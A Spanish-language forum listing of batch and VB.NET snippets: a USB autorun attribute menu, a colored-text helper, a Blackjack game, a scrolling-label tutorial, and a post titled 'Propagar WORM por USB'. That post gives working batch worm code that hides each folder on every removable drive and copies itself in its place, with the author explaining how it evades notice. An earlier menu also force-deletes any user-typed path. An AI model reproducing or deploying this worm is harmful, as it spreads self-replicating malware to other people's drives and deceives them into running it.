echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|  Atributo Oculto ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Atributo sistema   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Todos atributos    ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Salir   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
set /p t="Elige opcion: "
IF %t% == 1 (GOTO h)
IF %t% == 2 (GOTO s)
IF %t% == 3 (GOTO rest)
IF %t% == 4 (ATTRIB +H +S autorun.inf && EXIT)
IF NOT DEFINED %t% (GOTO uatt)
:h
ATTRIB +H autorun.inf
goto uatt
:s
ATTRIB +S autorun.inf
goto uatt
:rest
ATTRIB +H +S autorun.inf
GOTO uatt

:udel
ECHO Especifica Letra de USB\Ruta\Archivo & ECHO Ejemplo: G:\Documentos\Texto.txt
set /p y="Ruta: "
del /s /f /q %y%
GOTO Start

:udir
cls
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º     ARCHIVOS VISIBLES      º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ& DIR
echo.
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º  ARCHIVOS CON ATRIBUTOS    º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ& ATTRIB /S
pause>nul
goto Start

:uana
cls
type autorun.inf
echo.
echo.
ECHO         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
ECHO.        º     Atributos AUTORUN      º
ECHO.        ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
attrib autorun.inf
pause>nul
goto Start

:st
cls
start %~d0
goto Start

:desk
cls
echo MUY IMPORTANTE LA RUTA DEBE ESTAR ENTRE COMILLAS
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 1 º ^|  Documentos ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 2 º ^|  Musica   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 3 º ^|   Videos      ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
echo      ÉÍÍÍ» ÚÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,¿
echo      º 4 º ^|    Fotos   ^|
echo      ÈÍÍͼ ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ã,,Ù
set /p folder="Elige carpeta: "
IF %folder% == 1 (GOTO FD)
IF %folder% == 2 (GOTO FM)
IF %folder% == 3 (GOTO FV)
IF %folder% == 4 (GOTO FF)
IF NOT DEFINED %folder% (GOTO desk)
:FD
ECHO Arrastra documento.
set /p doc="Ruta:"
set /p docnom="Nombre del documento: "
copy /y %doc% Documentos\%docnom%%doc:~-5,4% 2>nul >nul
goto Start
:FM
ECHO Arrastra archivo de musica.
set /p mus="Ruta:"
set /p musnom="Nombre de la cancion: "
copy /y %mus% Musica\%musnom%%mus:~-5,4% 2>nul >nul
goto Start
:FV
ECHO Arrastra un video.
set /p vid="Ruta:"
set /p vidnom="Nombre del video: "
copy /y %vid% Videos\%vidnom%%mus:~-5,4% 2>nul >nul
goto Start
:FF
ECHO Arrastra una imagen.
set /p foto="Ruta:"
set /p imgnom="Nombre para la foto: "
copy /y %foto% Fotos\%imgnom%%foto:~-5,4% 2>nul >nul
goto Start


Salu2! :HI:
#49
Batch - Bash / colores.cmd (c1)
Enero 22, 2011, 09:46:26 PM
colores.cmd -> Grandisima aplicacion de Carlos capaz de colorear texto independiente en cualquiera parte del .bat

Código: php
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS

CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "Texto coloreado" " normal"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"

PAUSE
EXIT /B 0

:CECHO
::Autor: Carlos
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%TEMP%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR

SET "C="
SET "L1="
SET "L2="
SET "L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "%L2%*"
POPD
IF EXIST "%TEMP%\COLOR" DEL /F /Q /A "%TEMP%\COLOR" > NUL 2>&1
IF EXIST "%TEMP%\COLOR\" RD /S /Q "%TEMP%\COLOR" > NUL 2>&1
EXIT /B 0

:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres
::solo para trabajar con funcion cecho.
::Los caracteres agregados son: # $ + - =  @
::Recibe un parametro con el nombre de la variable
::que se quiere filtrar su contenido.
::Ejemplo:
::call :clean nombreDeMiVariable
::autores: Matt Alvariz , Carlos
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
  @FOR %%* IN (
" " 0 1 2 3 4 5 6 7 8 9 A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
# $ + - =  @
) DO    @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0


Segunda version mejorada:
Código: php
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS

CALL :CECHO 0A "normal " "Los cometas del latin cometa y el griego kometes son cuerpos celestes constituidos por hielo y rocas que orbitan el Sol siguiendo orbitas muy elipticas" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "normal " "Texto coloreado"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"

PAUSE
EXIT /B 0

:CECHO
::Autor: Carlos
::Version 1.0 22:42 07-05-2009
::Se pueden recibir tres argumentos de texto.
::Cada argumento debe ir encerrado entre comillas.
::Si se recibe un solo argumento este es el texto coloreado.
::Si se recibe dos argumentos o tres argumentos,
::el segundo argumento es el texto coloreado.
::Si el texto coloreado tiene mas de 150 caracteres,
::el texto coloreado es truncado a 150 caracteres y
::se recibe un mensaje avisando la accion.
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR

SET "C="
SET "L1="
SET "L2="
SET "L3="

SET "C=%~1"
ECHO.!C!|FINDSTR /R /I "\<[0-9A-F][0-9A-F]\>" > NUL || (
ECHO. DEBE ESPECIFICARSE UN COLOR HEXADECIMAL.
ECHO. COLOR /?
EXIT /B 1
)
SET /A "TAM=0"
SET "L1=%~2"
SET "L2=%~3"
SET "L3=%~4"
IF NOT DEFINED L2 (
SET "L1="
SET "L2=%~2"
SET "L3="
)
CALL :CLEAN C
CALL :CLEAN L1
CALL :CLEAN L2
CALL :CLEAN L3
IF DEFINED L2 CALL :LEN "%L2%"
IF %TAM% GTR 150 (
ECHO.
ECHO.TEXTO COLOREADO REDUCIDO A 150 CARACTERES DE LONGITUD
ECHO.
)
IF DEFINED L2 SET "L2=%L2:~0,150%"
IF DEFINED L2 ECHO.%L3%>"%L2%"
0>NUL SET /P "_=%L1%"
FINDSTR.EXE /A:%C% /R "^" "*"
POPD
IF EXIST "%USERPROFILE%\COLOR" DEL /F /Q /A "%USERPROFILE%\COLOR" > NUL 2>&1
IF EXIST "%USERPROFILE%\COLOR\" RD /S /Q "%USERPROFILE%\COLOR" > NUL 2>&1


:LEN
SETLOCAL ENABLEEXTENSIONS DISABLEDELAYEDEXPANSION
SET /A CONTL=0
SET "WORDL=%~1"
:_LOOPL
IF NOT DEFINED WORDL (GOTO :_ENDL)
SET "WORDL=%WORDL:~1%"
SET /A CONTL +=1
GOTO :_LOOPL
:_ENDL
ENDLOCAL & SET /A TAM=%CONTL%
EXIT /B 0


:CLEAN
::deja solo caracteres dentro del rango a-z 0-9
::y espacio en el contenido de las variables.
::version 2.0
::Version modificada con mas caracteres
::solo para trabajar con funcion cecho.
::Los caracteres agregados son: # $ + - =  @
::Recibe un parametro con el nombre de la variable
::que se quiere filtrar su contenido.
::Ejemplo:
::call :clean nombreDeMiVariable
::autores: Matt Alvariz , Carlos
@SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
@SET "V=%*"
@SET "S=!%V%!"
@IF NOT DEFINED S EXIT /B 1
@SET "V="
:LOOP
@FOR %%* IN (
" " 0 1 2 3 4 5 6 7 8 9 A B C D E F G
H I J K L M N O P Q R S T U V W X Y Z
# $ + - =  @
) DO  @IF /I "!S:~0,1!" EQU "%%~*" SET "V=!V!!S:~0,1!"
@SET "S=!S:~1!"
@IF DEFINED S GOTO :LOOP
@(ENDLOCAL & SET %*=%V%)
@SETLOCAL ENABLEEXTENSIONS
@EXIT /B 0
#50
Batch - Bash / Black Jack v2 by Craphter
Enero 22, 2011, 09:45:06 PM
La Parte Grafica que hice para el Juego de la 21, combinada con la logica del Juego de Black Jack de Craphter.

Código: php
@echo off
@title BlackJack v 2
@mode con cols=80 lines=21

::Juego de Cartas en Batch
::BlackJack v 2.0
::Idea Original by Craphter - Diseño Grafico by Splendit
::U21hcnRHZW5pdXM

setlocal enabledelayedexpansion

:Menu
cls
Call :Inicio
echo.         
echo.         Ã‰ÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ»
echo.         Âº Black Jack v 2 º
echo.         ÃˆÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÃÂ¼
echo.
echo.  Seleccione una Opcion:
echo.
echo.  1. Jugar       2. Salir
echo.
set opc=
set /p "opc=  >> "
if not defined opc goto menu
if "%opc%"=="2" Exit
echo.
echo.  Selecciones la Cantidad de la Apuesta
echo.
echo.  1. $10  2. $20  3. $50  4. $100
echo.
set ppp=
set /p "ppp=  >> "
if not defined ppp Goto :Menu
if "%ppp%"=="1" Set Pot=10
if "%ppp%"=="2" Set Pot=20
if "%ppp%"=="3" Set Pot=50
if "%ppp%"=="4" Set Pot=100
if %ppp% GTR 4 Goto :Menu
Set /a Money=Money-Pot

:Load
cls
Call :Reset
Call :Randomize
Call :Draw
Goto :Load

:Draw
echo.
echo.  Apuesta $ %Pot%         Total Acumulado: %Money%
echo.
echo.          Cartas del Jugador            -               Cartas del PC
for /l %%b in (1,1,11) do (echo. !CLine_%%b!)
echo.               %TotalUS% puntos                                 %TotalPC% puntos
echo.
if %TotalUS% LSS %TotalPC% (echo. Ha Ganado la PC...&Set /a "Money=Money-(Pot/2)")
if %TotalUS% EQU %TotalPC% (echo. Empatados...&Set /a "Money=Money+(Pot/2)")
if %TotalUS% GTR %TotalPC% (echo. Ganaste...&Set /a Money=Money+Pot)
echo.
set var=
Set /p "var=  Desea Volver a Jugar [S] [N] > "
If Not Defined var Goto :Eof
If /i "%var%"=="S" Goto :Eof
Goto :Menu

:Randomize
Set TotalPC=0&Set TotalUS=0
For /l %%a in (1,1,3) do (
Set /a "N%%a=!random:~-2! %% 13">NUL 2>&1
Set /a "S%%a=!random:~-2! %% 4">NUL 2>&1
Call :GenCards !N%%a! !S%%a! US
)
for /l %%c in (1,1,11) do (Set CLine_%%c=!CLine_%%c!   Â³  )
For /l %%a in (1,1,3) do (
Set /a "N%%a=!random:~-2! %% 13">NUL 2>&1
Set /a "S%%a=!random:~-2! %% 4">NUL 2>&1
Call :GenCards !N%%a! !S%%a! PC
)
Goto :Eof

:GenCards
Call :CARD!Tags:~%1,1! !Tags:~%1,1! !Symbols:~%2,1!
Set /a Total%3=Total%3+!Tags:~%1,1! >NUL 2>&1
Goto :Eof

:Inicio
If Not Defined Money Set Money=200
Set Symbols=
Set Tags=A23456789OJQK
Set A=11
Set J=10
Set Q=10
Set K=10
Set O=10
Goto :Eof

:Reset
for /l %%c in (1,1,11) do (Set CLine_%%c=)
Set Total=0
Goto :Eof

:CARDA
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³     Â³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³     Â³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD2
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2    ³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³     Â³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³    %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD3
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2    ³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³    %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD4
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³     Â³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD5
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³  %2  ³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD6
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD7
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2 %2 %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD8
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³  %2  ³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³  %2  ³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARD9
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º%1        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2 %2 %2³ º
set CLine_5=%CLine_5% º ³     Â³ º
set CLine_6=%CLine_6% º ³%2 %2 %2³ º
set CLine_7=%CLine_7% º ³     Â³ º
set CLine_8=%CLine_8% º ³%2 %2 %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        %1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDO
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% º1%1       Âº
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³%2   %2³ º
set CLine_5=%CLine_5% º ³ %2 %2 ³ º
set CLine_6=%CLine_6% º ³%2   %2³ º
set CLine_7=%CLine_7% º ³ %2 %2 ³ º
set CLine_8=%CLine_8% º ³%2   %2³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º       1%1º
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDJ
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºJ        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³     Â³ º
set CLine_5=%CLine_5% º ³ ,,, ³ º
set CLine_6=%CLine_6% º ³(. .)³ º
set CLine_7=%CLine_7% º ³  l  ³ º
set CLine_8=%CLine_8% º ³ """ ³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Jº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDQ
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºQ        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³ ___ ³ º
set CLine_5=%CLine_5% º ³.---.³ º
set CLine_6=%CLine_6% º ³º'.'º³ º
set CLine_7=%CLine_7% º ³º\o/º³ º
set CLine_8=%CLine_8% º ³º   ÂºÂ³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Qº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof

:CARDK
set CLine_1=%CLine_1% ÉÍÍÍÍÍÍÍÍÍ»
set CLine_2=%CLine_2% ºK        º
set CLine_3=%CLine_3% º%2ÚÃ,,Ã,,Ã,,Ã,,Ã,,¿ º
set CLine_4=%CLine_4% º ³ ,,, ³ º
set CLine_5=%CLine_5% º ³\---/³ º
set CLine_6=%CLine_6% º ³³'_'³³ º
set CLine_7=%CLine_7% º ³\---/³ º
set CLine_8=%CLine_8% º ³     Â³ º
set CLine_9=%CLine_9% º ÀÃ,,Ã,,Ã,,Ã,,Ã,,Ù%2º
set CLine_10=%CLine_10% º        Kº
set CLine_11=%CLine_11% ÈÍÍÍÍÍÍÍÍͼ
Goto :Eof
#51
Batch - Bash / Propagar WORM por USB [BATCH]
Enero 22, 2011, 09:43:37 PM
He desarrollado una idea que no he visto en ningun otro lado, una forma de propagacion de un Worm por USB pero de una manera mas insospechada, ya no es el clasico AUTORUN.INF sino que el codigo se copia a si mismo reemplazandose por cada una de las carpetas que haya en esa unidad, por lo que muy seguramente tendra un poco mas de efectividad.

Esta es la idea principal:

Código: php
@echo off
::Worm USB Prop.
::by Splendit
::U21hcnRHZW5pdXM

FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF "%~d0"=="%%A" GOTO :NEXT
CALL :USB
GOTO :NEXT

:USB
FOR %%A in (D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO (
IF EXIST %%A: (
FOR /F "TOKENS=5" %%B IN ('DIR %%A:^|FIND "DIR"') DO (
ATTRIB +H %%A:\%%B
COPY /Y %0 "%%A:%%B.EXT"
)))
GOTO :EOF

:NEXT
START %~dp0\
::RESTO DEL CODIGO DEL WORM
::
PAUSE
EXIT



Lo primero es detectar si nos estamos ejecutando ya desde la ubicacion principal de dicha unidad para asi abrir el verdadero destino de la carpeta que reemplazamos, que realmente esta oculta, pero que lo hago de esa manera para pasar algo inadvertido, o si es desde otro lado para proceder a hacer la copia a las respectivas unidades.

Saludos
by Splendit
#52
C# - VB.NET / Efecto de Scroll Text (Marquesina)
Enero 22, 2011, 09:22:58 PM
Este es la forma que descubri yo mismo de hacer el Efecto ese de "Scroll" , osea que el texto va rotando...similar al que aparece en algunos reproductores de musica  ::)

Primero que todo abrimos un nuevo proyecto y en el agregaremos tres controles basicos que seran: un TextBox, un Label y un Boton, creo que la mayoria sabreis como agregar controles a un formulario en Visual Estudio.

Ahora lo siguiente que haremos es ponerles nombre a estos elementos para despues ubicarlos correctamente en el codigo, luego lo haremos de la siguiente forma: txtScroll (TextBox), lblScroll (Label), btnScroll (Boton). Fijad que uso tres letras para definir en el que tipo de Control es y asi tener un poco mas de organizacion.

Ahora al formulario le agregaremos un control de tiempo, osea un Timer, que sera el que nos haga la mayor parte del trabajo :D

Entonces, empezamos por el evento que se realizara al presionar el Boton de "Iniciar Efecto", el cual se encargara de comprobar si se ha escrito texto y de pasarlo este al label para iniciar el efecto, o de devolver el Foco al TextBox.

Código: csharp
    Private Sub btnScroll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnScroll.Click
        If txtScroll.Text = "" Then
            txtScroll.Focus()
        Else
            lblScroll.Text = txtScroll.Text & " "
            Timer1.Start()
        End If
    End Sub[/geshi]

Ahora agregaremos algo simple para el textbox, para cuando al dar click se borre el texto anterior, es algo extra pero que es algo funcional :D

[geshi=vbnet]    Private Sub txtScroll_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtScroll.Click
        txtScroll.Text = ""
    End Sub


Ahora el evento principal que es el manejado por el Timer1, el cual con cada "pasada" de tiempo, segun lo hayan configurado en la propiedad del Intervalo, seran unos milisegundos o segundos...o como deseen....

Código: csharp
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Dim NuevoTxt, NuevoTxt2
        NuevoTxt = lblScroll.Text.Substring(0, 1)
        NuevoTxt2 = lblScroll.Text.Substring(1)
        lblScroll.Text = NuevoTxt2 & NuevoTxt
    End Sub


Eso es todo, ahora solo falta correr la aplicacion, escribir un texto y probar el efecto para que vean como se ve de bonito  grin

Este seria el codigo final:

Código: csharp
Public Class Form1

    Private Sub btnScroll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnScroll.Click
        If txtScroll.Text = "" Then
            'Si no hay texto entonces devolvemos el foco
            txtScroll.Focus()
        Else
            'Si hay texto entonces iniciamos el efecto
            lblScroll.Text = txtScroll.Text & " "
            Timer1.Start()
        End If
    End Sub


    Private Sub txtScroll_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles txtScroll.Click
        txtScroll.Text = ""
    End Sub

